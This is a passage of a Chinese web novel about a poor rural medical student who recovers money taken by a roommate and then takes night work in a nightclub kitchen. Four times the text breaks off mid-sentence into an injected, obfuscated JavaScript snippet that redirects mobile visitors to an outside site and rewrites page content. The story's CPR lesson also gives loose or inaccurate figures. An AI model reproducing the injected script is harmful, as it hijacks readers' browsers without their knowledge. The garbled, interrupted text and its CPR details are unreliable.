红梅登时打了退堂鼓,拉扯谢芳衣袖。 谢芳以为她胆怯,不好意思借钱,于是直接开口问刘勇:“你和红梅是表兄妹,对吗?” “是这样,我们还是一个村子的,父母很熟。”刘勇回答,满是关切地问,“妹妹啊,上午没见你,怎么了眼睛这么红?” 假意尚且有一分不要钱的熟稔,红梅叹口气,没出声。 谢芳代为回答:“红梅丢钱了,能跟你借五块吗?你知道大学生有补助吧?最快,补助发了还你。” “五块啊……” 刘勇表情为难,将二人拉到角落,从衬衣西装裤里到处摸,摸出十几块钱。 钱握在手里,他数了数,思忖一会儿,跟红梅说:“借可以,月底前尽早还。哥哥也就这些生活费。你也知道咱们村的情况,谁家都不容易……” “我会尽快还你的。” 红梅眼睛依旧红着,语气硬邦邦。 “行。” 刘勇答应得很干脆,给了红梅五块整。见红梅收好,又说:“有啥难处,你就过来找我,要是找不到我,跟谢芳说,我和谢芳同班同学,她总能找着我,哥帮你解决。解决不了,也能担着点,出出主意。你看你哭得,兔眼睛似的。丢个钱而已。知道了吗?” 他的手抬起到空中,像是要摸红梅头发,被她躲开了。 “谢谢。哥。”红梅吸着鼻子僵硬地答。 刘勇不以为意,跟谢芳笑道:“你看你从小到大就这脾气,求人办事儿就像别人欠你的似的。上大学了,找找对象,以后还要结婚呢。记得改改脾气。” 还有要紧事得办,谢芳直接叫停寒暄:“刚开学要准备的还有很多,你先忙,回头见。” 着急办入学,谢芳带着红梅离开。 第二步,交费入学。 缴费处就在教学楼旁边,为了提醒新生,还拉了大红横幅,生怕人找不到。 红梅步履匆匆,要赶着递学生证交费,被谢芳一把拉住:“等到,我想到一个主意。” “什么?” 满头虚汗,也不知道是急的,还是累的。红梅怔忪道。 “你们专业的补助,一个月十七。先不管怎么找回来丢了的钱,要是你全交了学费,手头就七毛六分,都不够吃食堂一周的……扣掉你要还给刘勇的五块,你九月还能剩余十二块。” 谢芳眼珠一转,计上心头。 “这样……需要交二百四十块,你先交二百二十八,剩下的钱我们写个情况说明,跟学校求求情,让他们直接扣补助。这样你到九月底发补助的时候,手里还有十二块,够吃饭了;但还得省着花,因为你要等到十月底才有新补助下发,情况才能好起来。这期间,吃饭的问题,我们一起解决。这样好一点,你觉得呢?” “……我想不到更好的办法了。”红梅愣愣道。 于是二人来到图书馆,谢芳借来笔纸,拉着红梅筹谋:“来吧,写——情况说明。” 红梅依声落笔,端正字迹说明情况,把草稿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他说……以后每个月给我五十零用钱,买小轿车,买楼房给我父母改善条件。家用全报销。所以完全不需要我出来赚钱。” 意想不到的理由,红梅愣了愣:“但这不是赚钱的问题,不是吗?” “所以说……好好读书,成为最好的妇产科医生,是这么难的事情吗?” “商量一下退婚怎么样?建国都四十多年了,没道理要像旧社会那样啊。” “可能性不大,我正在尝试。” “阻止他转学怎么样?”红梅疑惑道,“但是大学还能转学?我不知道?” “我也不知道。可能又是什么门路吧。”谢芳摇头,“我会再想想办法的,我们去交申请吧。” 申请书递交上去,在谢芳软磨硬泡之下,收费处老师答应暂时先收一部分,等学校批准再交剩余部分,于是红梅手里有了余钱,拿来吃饭用的。 离开缴费处,红梅回头望向办公楼。 只有交了学费,她才觉得未来一年有资格在这里读书。只要毕业就能找到工作,可毕业前支撑学习生活的钱,哪怕只有一分,都难死人。 但不管怎么说,一颗大石头暂时落地。 耳边谢芳笃定开口:“现在还剩最后一步。” “什么?” 谢芳语气轻快道:“钱不会平白无故消失,我们来找找看吧。” 8. 真相 听到这句诘问,红梅沉默一阵,深深地叹口气。 是啊,钱是不会平白无故消失的。她的内衣里侧缝的口袋,就是她的钱包,每天趁没有人时悄悄数,从不离身,昨晚不知何故的高兴里得意忘形,拿出来压在枕头下,睡觉掉在床下,衣服甩了出去,全然是她的问题,但钱是不会消失的。即使她再不愿意,又能不去怀疑谁呢? 那是五十块整,地里一年四分之一的收入,即使在城里,也得是两个月工资啊。 “你们宿舍几个人里,有谁有可能偷你钱吗?”谢芳问。 “除了那个和我同名的女孩,其他人都住在宿舍。”红梅告诉谢芳昨夜的事,说完又是叹口气,“我没有得罪过谁,所以不存在报复的可能性;她们看起来都比我家富裕,我希望不是故意的——也许她们只是没找到主人呢?” 不要偷。 红梅心里想着,不知在向谁祈求,起码不是偷。 “不叫你一起去开学典礼,是排外,按照你的说法,她们还多少有点看不起你。你还这么想,我不知道该说什么好了。” “善良一点不好吗?” “你这样只会被欺负吧。”谢芳摇摇头,认命似的,“名也报完了,我陪你回去解决这件事吧。只要还钱,不论是谁干的,尽可以大事化小小事化了;如果没人承认,我们就去找宿管老师请她帮忙,实在不行就报警。” “不至于报警吧?” “你还要不要钱了?” “要!那是我爸妈一年到头的血汗钱。怎么能不要。” “那就想办法吧。” 交流也要讲究方式、方法:直接在宿舍里摊牌,一定不会有人承认,因为偷东西本身犯法,也不道德。都是女孩,脸皮薄,这么做等于彻底撕破脸,以后还要同宿舍生活四年,并不合适;也要提防四个人暗中结队,故意把钱花掉,互相包庇;只有完全不知道别人说什么的情况下,才能各个击破,拼凑出一个真相。 打定主意,二人就开始行动。 谢芳和红梅先遇到的是应晚,隔壁市出身的女孩。 应晚刚从热水房打水回来,热水壶压得她身姿一斜一顿地。她向着宿舍位置进发,目不斜视,被红梅一只手拦下:“不好意思,我有点事……” “什么?”应晚勉强停下脚步。 “红梅今天早上在宿舍丢了五十块钱,你见过吗?” “没见过。” 应晚要绕开红梅回宿舍,再次被谢芳拦下,她不耐烦道:“干嘛啊?我宿舍里的钢笔闹钟手表,哪个不是进口货,哪个不值二三十,你是想说我偷钱?我还怕你偷我东西呢。” “你用的东西很贵,不代表你手头不缺钱。可能反而是,你把生活费都花光了,才更需要偷钱。”谢芳无视掉那些情绪,冷静地问,“你有能证明自己不缺钱的证据吗?” 应晚被这理直气壮的质问吓住,不可思议地盯着谢芳看了好一阵,气到一句话都不想说,把热水壶扔在地上,从牛仔裤掏出一个粉色蝴蝶结猫的钱包。她打开钱包,张开纸钞口给二人看,里面是百元大钞外加四十块整,像极了刚报完名的找零。 八百块。 红梅下意识数了百元大钞的张数,立刻排除掉应晚的可能性。这足够四年学费了,没必要。谢芳看向她,二人在彼此眼中看到同样的讯号,于是谢芳让开道。 “没事了?”应晚好笑道,把钱包合上,“万一我钱被偷了,刘红梅,你应该知道我会怎么办吧?” “不好意思,打扰你了。因为五十块是我家三个月不吃不喝的收入,所以我很紧张。”红梅十分搓搓手,“是我误会你了。不过你放心,我不会偷东西的。我家务农,地里种什么,就收获什么,不会要不属于自己的东西的,我不会心安的。你尽管放心。” 应晚的视线落在红梅的衣袖,红梅下意识低头,才注意到袖口已经起了毛边,即将要磨破似的,跟应晚的崭新、谢芳的整洁截然不同。 穷一时而已。 红梅饱是信心地回视,那怜悯又讥讽的视线才消失。 应晚离开了。 她们第二个找到的是王锦。 王锦在公用洗手池刷鞋,纯白的帆布鞋在水里泡着,时上时下。 “不好意思,我没见过。”王锦摇头道,“我来的时候随身只有二十块,今天交费还是先去邮局取钱。我有存折可以证明。” 问完那两个问题,红梅和谢芳相顾无言。 谢芳突然想到什么:“你跟宿舍里另外两位熟悉吗?” “谁?陈晓晓和黄诺吗?她们花钱挺大手大脚的,穿得虽然普通,每顿饭都要一毛钱呢。懂的东西很多,跟我说省城里哪里好玩,哪里能买到进口货,哪里的剧院能看电影,不知道是不是家里有钱的缘故?我家务农,你家也是,应晚家经商下海的,你上铺父母是国企的。但我没听她们说,家里是干什么的。” 怀疑好像缩小了范围,但真的要这么做吗? 红梅惴惴不安地回到宿舍,谢芳跟着她进门,宿舍里没人。谢芳再一次看到她一层一层掀开床铺,确认每一寸都没裹带东西;一下一下清理桌子地面,确认每一处都没私藏。红梅这才惴惴不安地坐在床上,瘦弱身躯靠着栏杆,望着虚空。 谢芳蹲在她面前:“我们进展很顺利,就剩她俩。怎么了?你脸色不太好。” “我从来都不喜欢跟人争吵,吃亏就默默吃亏吧,自己心里好受就行。”红梅长叹一口气,“我很想体谅,但这是五十块啊。” “你看,喜欢占便宜的、坑人的,就是仗着你这种心理,才会得寸进尺。”谢芳纠正她的错误思想,“自己的权力要自己维护,正义站在你这边。” “不论是谁……一定不是故意的吧?一定?” 在她自我安慰般的询问里,谢芳没有回答。 而答案稍后揭晓了。 傍晚,王锦、应晚、红梅、谢芳都在宿舍里,不同于走廊里开学欢庆的热闹,她们安静地各自打发时间。 “好累啊。” 门忽然被推开,陈晓晓和黄诺勾肩搭背回来,脸上些许红晕,开口的酒气更是卷进宿舍,告知诸人她们做了什么。 “怎么喝酒了?”王锦匆匆下床,把两个人扶到自己在的下铺。二人却什么都没说,四处打量,哈哈大笑。 这下可难办。 应晚和王锦各自找借口出门,谢芳红梅对视一眼,红梅还是开口:“不好意思,我今天早上在宿舍丢了五十块钱,请问你们见过吗?” “五十。”黄诺嘲笑道,掏出钱包,打开给她们看,“喏,这有五十,怎么着?” “你呢?”谢芳问沉默的陈晓晓,只见她不同于黄诺,低下头,不开口。 “你们这么问是什么意思?欺负人呐?”黄诺大声嚷道,“你穷成那个德行,有没有五十都难说,现在跟捉贼似的问谁呢?” “陈晓晓,请问你见过五十块吗?”红梅再次尝试沟通。 “差不多得了吧?晓晓父母家是老师,有钱的。张口闭口五十务实的,你别是来讹我们吧。你说是吧晓晓。” 陈晓晓依旧保持沉默,醉酒的黄诺这才察觉不对,她粗暴地双手抬起她的头:“晓晓,怎么啦,别怕,我在呢。” “……我见过。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004300|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈晓晓放下友人的手,低头道。 “你在哪里见的?”红梅小心翼翼问着,声音都压低了。 “我……” 陈晓晓刚要说什么,被黄诺粗暴地打断:“算了吧,就这样,给你五十,别问了。” 语毕她抽出钱包里的钱,扬在空中。 它们有零有整地落在地面,铺成金贵的地垫,连带陈晓晓的自白一起,成为奇妙的默剧。 “我拿了,因为我没带够学费。学费差四十多,我家里已经借遍了还差四十多。早上起床发现脚下有一张五十,你们都还睡着。我一时冲动,拿去交学费,对不起。我会写个欠条给你,我会还的。” 支撑着红梅的疑惑解开了,得到的不是释然,而是怅惘。 她看着对面眼睛通红,还带着酒气的人,轻声问:“为什么学费差这么多?” “诺诺说的没错,我爸妈都是老师。他们在有矿山的小镇学校工作,今年过完年就……下了岗。我妈病倒了,我爸去别的市求职,没有新工作,家里的积蓄一致在消耗。”陈晓晓低着头,语气冷静,好像在叙述着别人的故事。 “怪不得,你没去想去的中文系,跑来学医了。你缺钱怎么不跟我说?我会不借给你吗?”黄诺愤怒地说。 “对不起。” 陈晓晓一再说着,不知道在跟谁说。 安静一阵,红梅慢慢说:“……我能理解你。我家种地,今年遭了蝗灾,没有收入。拿来的仅有的钱,也是我父母省吃俭用好些年,才攒出的。他们自己身上一分都没有了。如果缺钱,我们就想办法赚钱,没关系的。这次,写个欠条给我,我们就这样吧。” “我会还的,最迟明年。”陈晓晓抽噎着。 “嗯,就这样。我原谅你。” 黄诺更加生气了:“谁要欠你钱?钱你拿走,我替晓晓还。晓晓你不用还我,我们认识这么多年,这五十块不是问题。” “诺诺,你也别乱花了,因为好像下一次就是……” 劝阻戛然而止,红梅看着两个抱头哭泣的女孩,悄悄地把地上的钱都拾起,跟谢芳一起,放在她们手边的桌子上,悄然离开宿舍。 走廊里尽是喜悦,认识新同学,跟同乡聊学业,满是崭新的道路,离过去越来越远。 红梅送谢芳到楼下,夜是半沉,留有一丝天白在尽头,高挂的玄月,和夏日将尽的秋爽,让她们不约而同叹口气。 事情尘埃落定。 “记得让陈晓晓写欠条,欠条要写明最迟还款日期。如果说毕业前才还,绝对,绝对,不行。利息,我看你也不会收,就当我不知道借钱要谈这个事吧。” 谢芳轻松地说。 “黄诺很维护陈晓,即使她做错事了,也很袒护她。她真是个不错的朋友。” “如果她们真的是那么好的朋友,怎么会连钱都张不了口?好朋友才不是不分青红皂白地帮私,而是找出最好的解决方案,帮助朋友渡过难关。” “我想可能是陈晓晓起初不知道学生补助的事情,又着急学费,才这样的。之后我再跟她讲。但还有一点要说,谢芳,你总是在帮助我,你是一个非常非常非常好的好朋友,认识你真好。” “那当然啦。” “虽然现在我还不能帮你什么,我保证,我以后一定能帮到你的。到那个时候,不要客气,使唤我吧。” “我当然不会客气。现阶段,我们就好好学习,一起加油!” “好!” *** “即使现实背后各有疮痍,总还有希望在前头。 “那时候,我如此轻易地相信着。” 9. 打工 开学让一切都提速了。 从早上八点到晚上六点满布的专业课程,琳琅满目的专业词汇,超出以往任何时候巨大而丰盛的知识席卷着新生,只要隔几天不看,别说专业原理,甚至专业词汇本身,都会被遗忘殆尽。 仅仅汉语都让人疲于奔命,那每一条备注之后的英文术语,甚至于注明来源的学术论文,每一个都让人在知识的十字路口左顾右盼,哪个都舍不得放下的后果就是,既无法面面俱到,又让人深深怀疑: 我真的能够做好这份职业吗? 几乎从未说过英文的红梅,每天艰难地跟随老师纠正自己的英文发音,背医学专业单词,复习专业知识,再开始新知识的迈进,每一步都十分吃力。 这天学术英语老师提醒众人,期中期末将有二十分是口语考试,红梅焦虑起来,以至于练英文字练到头晕脑花,竟一时间想不起Clinic是什么意思了。 也不知是在红梅第几次叹息之后,谢芳才有所察觉:“哪里遇到困难了?” “是我的问题,英语太难了,老师说期中期末考试,会有口语部分……可我哪里会口语嘛。” 红梅快要把脸皮揉搓一层下来,迷茫表情却一点都没散开,明明没学到什么成果,识字居然也能让她心力交瘁:“背单词还好说,硬背就好了,可读音要怎么办呢?” “我们不是发了磁带嘛,买个收音机,跟录音读?”谢芳出主意道。 收音机可卖十块钱啊。 红梅脸登时就垮下来。 她现在只有十来块,要顾两个月饭钱的。而两个月后,就是期中考试。 “我家那个录音机,我妈妈还要拿来放歌,每天晚上跟我爸爸跳舞的,我实在拿不出来,不然我借你不就好了。”读出朋友缺钱的表情,谢芳略作思考,“你们宿舍那个应晚,我猜她一定有,跟她借一下?” 应晚? 独来独往的红梅记起室友,和上次不太友好的交流,有些愧然。 开学小小风波过后,宿舍里维持着微妙的平衡:陈晓晓果然写了借条,在学校里跟黄诺依旧形影不离;刘月姣跑校,只有课上才能见面,根本没说过话;王锦转移了结交目标,跟应晚要好起来。 只有她自己,依旧形单影只。 红梅也不愿意节外生枝,对她而言只要毕业就好,工作房子第一位,把爸妈接进城第二位,除了这两个目标,什么都可以不在乎。她有谢芳这个新朋友,一起学习,说说日常,日子也没那么难过。 更何况,学业已经让她无暇他顾了。 但为了学习,什么努力都是值得尝试的。 两相比较,红梅极快拿定主意。 “我回去跟她问问吧,实在不行,我租一下呢。” 夜晚如约而至,图书馆闭馆赶人,红梅跟谢芳道别后,一路上想着措辞,怎么开口才有诚意,很快回到宿舍。 宿舍人倒是齐,陈晓晓和黄诺在上铺看书,王锦跟她擦肩而过去水房洗漱,应晚戴着耳机,插在录音机上,独自享受声音的乐趣——好像是什么小虎队,很火的港台明星的磁带呢。 红梅坐在自己的桌子边上,抚摸起自己的英文磁带:从未打开过,崭新如昨,因为没有可以使用的方法。 而那方法只有一步之遥。 开口借? 应晚实在没有借给她的必要:正如应晚很流利的英语口语、毫不逊色于老师的翻译能力,如她所说,是高中英语老师教的,她完全可以靠自己说出纯正的英语,哪需要红梅这般照猫画虎。 不开口? 读不对、背不会英语的阴霾要持续到期中考试、期末考试,拿不到好的分数,她对得起父母罔顾村里非议,一路送她这个女娃上大学的一意孤行吗。 左思右想,她还是开口了。 “应晚。” 红梅弯下腰,轻轻摇对方的手臂,应晚这才摘下耳机,转头问这个沉默寡言的室友:“怎么了?” “我的英语口语不太好,学起来很吃力,期中期末考试,口语不是占二十分嘛,我想……我能跟你借用一下你的录音机吗?不会影响你使用的,只在你不用的时候,借我一下。” 应晚睁着大眼睛,像在思考可行性。 红梅又是积极争取:“我买电池还你,如果这样也不行,我可以拿钱租。” 应晚耸肩道:“你捉到重点了。你发现了吧,它比老师教学用的录音机小不少。这叫随身听,日本卡西欧牌,卖价三十五块,但不是一定能买到,即使是我爸做外贸好几年,丢了、损坏了,再想买一个也要等进口批准,这一等就一两年过去了。我不是不愿意借,我是怕你赔不起,我也等不起。明白我意思吗?” 利害关系说得很明确,再多说就不识趣了。 于是红梅后退,双手合十小声道:“我明白了,谢谢。” 应晚客气地点头,继续带上耳机,闭眼休息。 借的念头打消了,买一个的念头出现了。能用就行,所以二手、不需要那么小的录音机,要多少钱呢? 她可以饿一阵子的。 红梅想着先入梦乡,第二天一如往日地独来独往,穿梭在各个教室里埋头苦读。傍晚下课时,她意外被陈晓晓在洗手间叫住:“那个,红梅。” “嗯?” “谢谢你愿意让我分期还钱,这个我要说的。但是我从来没问过你手头还有多少。你……买不起录音机吗?” 红梅沉默一阵,不知道怎么回答才能不伤及陈晓晓的自尊心。却听陈晓晓继续补充道:“我没有恶意,只是,王锦都买得起。如果你家是这样的条件,我会尽快还钱的。” “你别着急,我只是不想丢掉英语口语的分数,退一万步想,丢了也不会挂科。所以不着急。”红梅连连宽慰同学,“学习要紧,咱们这么繁重的学习任务,你要去哪赚钱啊。” 红梅的担心真诚笨拙,陈晓晓看在眼里,沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004301|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默许久才开口:“……其实,我有认识的姐姐,她介绍给我一份工作:每周周末去打工两天,时间是晚上九点到第二天凌晨四点。工作一个月可以赚二十块。我正犹豫要不要去,不去的话,我恐怕还你钱的时间会越拖越久,如果去的话,我一个女孩子,不太安全。” 红梅解读出画外音:“所以……如果我们结伴去呢?” 陈晓晓迟疑着点头。 二十块啊!哪怕只做一个月,二十块啊!比学生补助都多了。 按耐住雀跃,红梅谨慎地问:“是什么工作?” “通宵营业的夜总会,后厨,负责上酒上菜给客人,或者洗盘子。” “夜总会是什么地方?” “呃……你知道迪厅吗,就是有音乐,有舞蹈表演,你可以带着朋友去跳舞,唱歌,是那种消遣的地方。” 红梅当场愣住。 她想起来了,高中时代刘勇跟随的那群纨绔,总是把在夜总会睡了几个女孩挂在嘴边,当场可以炫耀的资本。夜总会由此在她心里,跟旧社会卖身的行当挂了钩。 于是她真情实意握住陈晓晓的手,劝告同窗:“我们不能因为缺钱做这种事的呀……你爸爸妈妈不会伤心吗?她们一定不希望你这样赚钱的吧。我宁愿你不还钱呢。” 意识到红梅在想什么,陈晓晓脸红耳热:“你说什么呢!那种事我才不做呢,我宁愿死!我们是去厨房打下手,他们招零时工是这个价。他们那种地方的钱,跟其他地方不一样,开瓶酒就二三十,买小姐一百块打底呢。要不是着急赚钱,谁要去那里打工,传出去名声不好的。” 红梅这才放心下来。 “我还没答应那个姐姐一定去工作,只说这周末去看看。我都没告诉黄诺,这件事一定要保密啊。” “好,周末我陪你去看。” “一言为定。” 陈晓晓很快离开洗手间,红梅再次盘算起来。 除却外债五块,如果打工能赚二十,每个月十七块补助,那她工作半年多,就能攒出一年学费,减轻家里负担。周末打工还不占用学习时间,简直不能更好。紧接着她给自己泼盆冷水:这工作未必好,也不一定能谈成,不要着急赚钱,学业、工作、房子永远是第一位的。 从出发点说,二十分,可以不要;口语,可以不会。没什么大不了,她要救助的是中国人,学英语并不是那么必要。 但还是,有钱真好。 只可惜,人无法改变自己的出身。沮丧片刻,她很快鼓励起自己:也就是这一阵子,等到毕业有了工作就会有钱,日子只会一天比一天过得更好。只要现在咬牙坚持住。 她想起应晚的随身听,又不禁好笑地比较:刘勇知道世上还有这种东西吗?进口?卡西欧? 为遵守跟陈晓晓的约定,红梅也没对谢芳说。日子在学习中飞快流逝,她忐忑地等待起周末。 即将到来的,是她的机会,还是不值得的工作? 10. 报酬 周四依旧由上课、吃饭、自习组成。 随着知识充盈大脑,耗空的是胃袋,钱包是见证,它一点一点扁下来:尽管红梅吃着食堂最便宜的饭,免费的蛋花汤,但这只能减缓钱消失的速度,而不会改变这个事实。 所以晚饭时红梅鼓起勇气,喝了一碗汤,看着周围的人吃饭,鼓起勇气,拿起原本舀汤的碗,又去添了一碗。 她尽量不看周围,坐在隐蔽的地方,努力让自己熬过这个夜晚的同时,考虑着周五夜晚的工作机会。 她第一次听说夜总会,还是高中时代在城里寄宿念书,在刘勇追随的纨绔子弟嘴里听的。 说好听了叫夜总会,说难听了,就是旧社会的妓院,披层新皮。为什么谈到那种地方,因为他们说要帮他破处。 也是奇了怪,男人是处男说出来丢人,女人是处女却理所应当。甚至掏钱□□,嘴上都说得像是接济穷苦女人。八百里不搭边的事情,只要到了男人嘴里,总会是正常的,正当的,甚至合理的。哪怕在外嫖完八百个女人证明自己是男的,回过头来还是要娶处女,因为处女单纯、干净,这就是他们的逻辑。 女人就不是人,女人就不能嫌男人脏吗? 很难说红梅对刘勇到底厌烦在哪里:“破处”之后面对女同学的猥琐,还是他过早社会化的狡诈,这些年青梅竹马下来,一层又一层累积的事件,已经算不清了。 先不考虑这些。 像陈晓晓说的,她们只是厨房的帮工,不去前台,就不会跟那种生意扯上关系。薪水对她们这些穷学生太诱人了:每周三个晚上,一个月二十块,一周就五块,能很大程度上减少她对吃饭的不安。 不求吃得像应晚一样好,三餐都有肉和水果;也不用像谢芳说的,每天一杯牛奶一个鸡蛋。起码大米饭加一个素菜,不会因为今天多吃一口就开始担心明天,这样的安全感是她现在急需的东西。 虽然夜总会那种地方…… 名声,只要她和陈晓晓保密,就不会有人知道;就算有人知道,对她们指指点点,只要谨记一件事: 劳动,不丢人。 这就足够了。 夜晚来临,红梅跟谢芳在图书馆会面,红梅掏出书本,预备酝酿些理由告诉谢芳,明天晚上可能要失约了。 “我记得你开学前跟我说想学急救?”谢芳难掩兴奋神情,她从书包掏出一个笔记本,献礼般放在红梅面前,“我们今天学了一个急救方案,我把步骤记下来了,要不要试试?” “好啊!”红梅也兴奋起来。 “这个急救方法叫心肺复苏,或者叫人工呼吸。主要适用于没呼吸、没脉搏的病人。比如急性心肌缺血,症状胸痛,腹痛,恶心,呕吐,常常伴随全身出汗,头晕,严重会晕厥、休克甚至猝死。如果有药,最好吃药,名字叫速效救心丸,或者硝酸酯类药物,直接就能药到病除,一两分钟就见效。 “但是我们现在谈的是急救,没有药的情况下,我们这么做: “解开衣领,最好解开到肺部正上方,让鼻腔、嘴巴、肺部处在同一水平线上,手指压在胸骨中下三分之一的位置,快速按压三十次,做一次人工呼吸,人工呼吸时要保证病人嘴巴和鼻子没有异物,比如呕吐物,让气流通过气管进入肺部。按压力度要明显感觉掌心下沉手掌厚度这么深。每分钟按压一百到两百次,不断循环,等到病人有脉搏、恢复自主呼吸的时候,就是成功。” 谢芳脱口而出,不知道的以为她在念书。 “原理是让病人被动呼吸?”红梅很快理解了,“氧气跟血液有关,如果血液不循环,也就是心脏停摆,全身都会器质性坏死。所以血液很重要,血氧更重要。” “没错,你在我身上试试。” 说完谢芳躺在地上,毫不在意衣服会弄脏。 “地上脏!”红梅悄悄说。 “学会要紧,洗个衣服有什么大不了的。”谢芳招呼红梅,“来想想,第一步是?” 桌椅能稍微遮着点,确认完,红梅把谢芳的头部摆正,解开谢芳的衣领,到第二颗胸前,边做边说:“让病人躺在地上,呼吸道呈一条线,解开衣领。” “第二步是?” “在胸骨下方三分之一,也就是肺部上方,按压手掌厚度,每三十次,做一次人工呼吸。”红梅回忆着人体结构图,在谢芳身上找到位置,双手自然叠上去,象征性地按压一下。 谢芳否定这种做法:“力气太轻了,这样救不了人。用力,记住,每分钟一百次,每三十次停下来做一次人工呼吸,然后继续按压。” 红梅听了点点头,用力一按。 “嗷——” 谢芳吃痛,红梅吓得立刻拿开手,看谢芳泪汪汪的,呲牙咧着揉着胸口。声音更是传遍整个图书馆,招来老师:“你们干嘛呢?” “没事啊张老师,没事。”谢芳躺地上解释,“我摔了个跤,我休息一下就好。” “芳芳你注意点啊。”张老师看二人无事,便回归办公室。 俩人这才无声笑起来。 “对不起。”红梅说,“我们不试了好不好。” “要怪也得怪我叫出来了。你力气确实不小,我承认。”谢芳笑着擦眼泪,“怎么能不试,快继续,你不学会怎么对得起我这一嗓子。” 花费这晚大部分时间,红梅终于学会用正确的方法做人工呼吸。等她学会,成功从谢芳处出师,图书馆也要关门了。 “只耽误你的时间教我,你什么都没学呢。” 听到红梅道歉,谢芳说:“没事,我们虽然没有背书,但我们学会怎么救人了呀。教给你,我也能加深记忆,明天再背专业知识嘛。” 提到明天,红梅猛然惊觉,明天就是…… “不好意思,我明天,有点事,我可能没法过来学习了。”红梅搓着手,跟朋友解释道,“临时有点事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004302|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢芳没多问,表示知道了,二人就此分别。 红梅回到宿舍,几位室友也各自洗漱完毕,准备休息。她蹑手蹑脚洗漱完,躺在床上,跟睡在对角上铺的陈晓晓互看一眼,点点头,就熄灯了。 窗帘拉着,月光似水,铺在地上。 红梅把刚学会的急救方案在脑子里过一遍,欣喜于新知识,又暗自祈祷,希望永远不会派上用场。 周五过得很快,一放学,红梅就等在教室外,等到陈晓晓跟黄诺告别,她们把书本扔在宿舍,就立刻前往陈晓晓口中“姐姐”介绍的地方: 新天地夜总会。 霓虹灯包裹着招牌,黄昏就在天际间咋咋唬唬地招摇。正门气势恢宏,金色包边,门童都西装革履,相貌俊朗。两边停的小轿车一个比一个气派,这是成年人的世界无疑。 “姐姐”在建筑旁的小巷,她穿着时髦的电影似的连衣裙,烈焰红唇,眼皮上涂着五颜六色的东西,还抽烟。 她扫一眼二人,并不自我介绍,就转身进入小巷,嘴里含糊不清地说:“规矩我就说一遍,听好了。 “你们就在后厨待着,不要去前台。在这里消费的人都不一般,如果你们惹祸上身,不只是钱的问题。你们父母恐怕都担不起责任。” “惹祸?为什么会惹祸?”陈晓晓问。 “我把话说明白点。别的夜总会我不清楚,但这个夜总会,长得稍微好点的男人女人都是出来卖的。被摸手摸屁股都是小事,你们两个小姑娘家,如果被看上,没人能救你们。”姐姐如是说着,“当然,如果你们愿意卖身救另当别论。但是你们是来赚快钱还债的。闭嘴,干活,薪水我跟管事的说过了,特例给你们周结,周日做完事就拿钱,赚够了就赶紧走,永远别跟别人说你们来过这,明白吗。” “谢谢姐,我们一定好好做事,只要钱,不惹事生非。” 陈晓晓承诺着,红梅跟着点头。 三人通过小巷绕到后门,途径之处满是垃圾、空酒瓶、食物的碎屑,空气里满是酸臭的垃圾和大小便的味道,苍蝇在灯泡下成群飞舞。 姐姐缓慢抽完最后一口烟,丢在地上,用脚尖把它碾碎,然后拉开后门走进去:“负责后厨后勤的是老郭,叫郭哥就行,人不难相处。你们也会来事点儿,要是他对你们动手动脚,别声张,拿钱走人就行,知道了吗?” “知道了。”陈晓晓一口应下。 通过水泥过道,她们走到了一个满是货架和纸箱的房间,房间里只有一个肥头大耳的男人,拿着单据,在清点什么。 姐姐语气登时由冷淡变得谄媚,上前揽住对方肩膀:“老郭,干嘛呢?” “这不清点库存,让他们进货。”被称为老郭的男人努力说着普通话,但难掩方言气息,“菲菲呀你真是卖酒高手,这个月下来工资要几千了吧?” 几、几千…… 红梅和陈晓晓对视一眼,看到了对方眼里的错愕。 11. 包裹 被称为菲菲的女人娇俏地用手抚过郭哥的肩膀,低领连衣裙的正面便袒到男人眼睛前,撒娇道:“没有郭哥进的这批好货,我这个巧妇也难为无米之炊嘛。” 郭哥的视线像刀子,一遍又一遍,剐在菲菲身上:“哪能比上你这个前头的大红人。这前台有几个不出台也能赚大钱的女人,你个菲菲有点本事哩。” “只要能赚钱,又不惹事,咱老板可见一个爱一个呢。等这月发了工资,我请您吃顿大的,就欧式街那家最火的海鲜馆,鲍鱼海参、龙虾螃蟹吃到撑。” “那我可等着。”郭哥虚虚抱个拳,笑得和气又正直,扭头见到俩女娃,神色正经一丝儿,“这就是你说的?” 